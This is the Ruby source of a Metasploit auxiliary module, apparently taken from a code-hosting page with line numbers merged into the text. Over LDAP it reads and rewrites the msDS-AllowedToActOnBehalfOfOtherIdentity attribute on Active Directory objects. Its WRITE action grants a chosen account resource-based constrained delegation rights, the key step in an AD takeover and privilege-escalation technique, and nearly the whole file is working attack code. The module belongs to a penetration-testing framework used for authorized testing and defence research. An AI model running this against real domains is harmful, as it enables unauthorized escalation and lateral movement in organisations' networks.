Path: blob/master/modules/auxiliary/admin/ldap/rbcd.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::LDAP8include Msf::OptionalSession::LDAP910ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Role Base Constrained Delegation',17'Description' => %q{18This module can read and write the necessary LDAP attributes to configure a particular object for Role Based19Constrained Delegation (RBCD). When writing, the module will add an access control entry to allow the account20specified in DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the21authenticated user must have write access to the target object (the object specified in DELEGATE_TO).22},23'Author' => [24'Podalirius', # Remi Gascou (@podalirius_), Impacket reference implementation25'Charlie Bromberg', # Charlie Bromberg (@_nwodtuhs), Impacket reference implementation26'Spencer McIntyre' # module author27],28'References' => [29['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution'],30['URL', 'https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd'],31['URL', 'https://github.com/SecureAuthCorp/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/rbcd.py']32],33'License' => MSF_LICENSE,34'Actions' => [35['FLUSH', { 'Description' => 'Delete the security descriptor' }],36['READ', { 'Description' => 'Read the security descriptor' }],37['REMOVE', { 'Description' => 'Remove matching ACEs from the security descriptor DACL' }],38['WRITE', { 'Description' => 'Add an ACE to the security descriptor DACL' }]39],40'DefaultAction' => 'READ',41'Notes' => {42'Stability' => [],43'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, WRITE all make changes44'Reliability' => []45}46)47)4849register_options([50OptString.new('DELEGATE_TO', [ true, 'The delegation target' ]),51OptString.new('DELEGATE_FROM', [ false, 'The delegation source' ])52])53end5455def build_ace(sid)56Rex::Proto::MsDtyp::MsDtypAce.new({57header: {58ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE59},60body: {61access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,62sid: sid63}64})65end6667def fail_with_ldap_error(message)68ldap_result = @ldap.get_operation_result.table69return if ldap_result[:code] == 07071print_error(message)72# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes73case ldap_result[:code]74when 175fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}")76when 1677fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.')78when 5079fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.')80when 5181fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.')82when 5283fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.')84when 5385fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.')86when 6487fail_with(Failure::Unknown, 'The LDAP operation failed due to a naming violation.')88when 6589fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.')90end9192fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}")93end9495def get_delegate_from_obj96delegate_from = datastore['DELEGATE_FROM']97if delegate_from.blank?98fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')99end100101obj = ldap_get("(sAMAccountName=#{delegate_from})", attributes: ['sAMAccountName', 'ObjectSID'])102if obj.nil? && !delegate_from.end_with?('$')103obj = ldap_get("(sAMAccountName=#{delegate_from}$)", attributes: ['sAMAccountName', 'ObjectSID'])104end105fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj106107obj108end109110def ldap_get(filter, attributes: [])111raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first112return nil unless raw_obj113114obj = {}115116obj['dn'] = raw_obj['dn'].first.to_s117unless raw_obj['sAMAccountName'].empty?118obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s119end120121unless raw_obj['ObjectSid'].empty?122obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)123end124125unless raw_obj[ATTRIBUTE].empty?126obj[ATTRIBUTE] = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(raw_obj[ATTRIBUTE].first)127end128129obj130end131132def run133ldap_connect do |ldap|134validate_bind_success!(ldap)135136if (@base_dn = datastore['BASE_DN'])137print_status("User-specified base DN: #{@base_dn}")138else139print_status('Discovering base DN automatically')140141unless (@base_dn = ldap.base_dn)142print_warning("Couldn't discover base DN!")143end144end145@ldap = ldap146147delegate_to = datastore['DELEGATE_TO']148obj = ldap_get("(sAMAccountName=#{delegate_to})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])149if obj.nil? && !delegate_to.end_with?('$')150obj = ldap_get("(sAMAccountName=#{delegate_to}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])151end152fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj153154send("action_#{action.name.downcase}", obj)155end156rescue Errno::ECONNRESET157fail_with(Failure::Disconnected, 'The connection was reset.')158rescue Rex::ConnectionError => e159fail_with(Failure::Unreachable, e.message)160rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e161fail_with(Failure::NoAccess, e.message)162rescue Net::LDAP::Error => e163fail_with(Failure::Unknown, "#{e.class}: #{e.message}")164end165166def action_read(obj)167security_descriptor = obj[ATTRIBUTE]168if security_descriptor.nil?169print_status("The #{ATTRIBUTE} field is empty.")170return171end172173if (sddl = sd_to_sddl(security_descriptor))174vprint_status("#{ATTRIBUTE}: #{sddl}")175end176177if security_descriptor.dacl.nil?178print_status("The #{ATTRIBUTE} DACL field is empty.")179return180end181182print_status('Allowed accounts:')183security_descriptor.dacl.aces.each do |ace|184account_name = ldap_get("(ObjectSid=#{ace.body.sid})", attributes: ['sAMAccountName'])185if account_name186print_status(" #{ace.body.sid} (#{account_name['sAMAccountName']})")187else188print_status(" #{ace.body.sid}")189end190end191end192193def action_remove(obj)194delegate_from = get_delegate_from_obj195196security_descriptor = obj[ATTRIBUTE]197unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?198print_status('No DACL ACEs are present. No changes are necessary.')199return200end201202aces = security_descriptor.dacl.aces.snapshot203aces.delete_if { |ace| ace.body[:sid] == delegate_from['ObjectSid'] }204delta = security_descriptor.dacl.aces.length - aces.length205if delta == 0206print_status('No DACL ACEs matched. No changes are necessary.')207return208else209print_status("Removed #{delta} matching ACE#{delta > 1 ? 's' : ''}.")210end211security_descriptor.dacl.aces = aces212# clear these fields so they'll be calculated automatically after the update213security_descriptor.dacl.acl_count.clear214security_descriptor.dacl.acl_size.clear215216unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)217fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")218end219print_good("Successfully updated the #{ATTRIBUTE} attribute.")220end221222def action_flush(obj)223unless obj[ATTRIBUTE]224print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")225return226end227228unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)229fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")230end231232print_good("Successfully deleted the #{ATTRIBUTE} attribute.")233end234235def action_write(obj)236delegate_from = get_delegate_from_obj237if obj[ATTRIBUTE]238_action_write_update(obj, delegate_from)239else240_action_write_create(obj, delegate_from)241end242end243244def _action_write_create(obj, delegate_from)245vprint_status("Creating new #{ATTRIBUTE}...")246security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new247security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')248security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new249security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS250security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])251252if (sddl = sd_to_sddl(security_descriptor))253vprint_status("New #{ATTRIBUTE}: #{sddl}")254end255256unless @ldap.add_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)257fail_with_ldap_error("Failed to create the #{ATTRIBUTE} attribute.")258end259260print_good("Successfully created the #{ATTRIBUTE} attribute.")261print_status('Added account:')262print_status(" #{delegate_from['ObjectSid']} (#{delegate_from['sAMAccountName']})")263end264265def _action_write_update(obj, delegate_from)266vprint_status("Updating existing #{ATTRIBUTE}...")267security_descriptor = obj[ATTRIBUTE]268269if (sddl = sd_to_sddl(security_descriptor))270vprint_status("Old #{ATTRIBUTE}: #{sddl}")271end272273if security_descriptor.dacl274if security_descriptor.dacl.aces.any? { |ace| ace.body[:sid].to_s == delegate_from['ObjectSid'].to_s }275print_status("Delegation from #{delegate_from['sAMAccountName']} to #{obj['sAMAccountName']} is already configured.")276end277# clear these fields so they'll be calculated automatically after the update278security_descriptor.dacl.acl_count.clear279security_descriptor.dacl.acl_size.clear280else281security_descriptor.control.dp = 1282security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new283security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS284end285286security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])287288if (sddl = sd_to_sddl(security_descriptor))289vprint_status("New #{ATTRIBUTE}: #{sddl}")290end291292unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)293fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")294end295296print_good("Successfully updated the #{ATTRIBUTE} attribute.")297end298299def sd_to_sddl(sd)300sd.to_sddl_text301rescue StandardError => e302elog('failed to parse a binary security descriptor to SDDL', error: e)303end304end305306307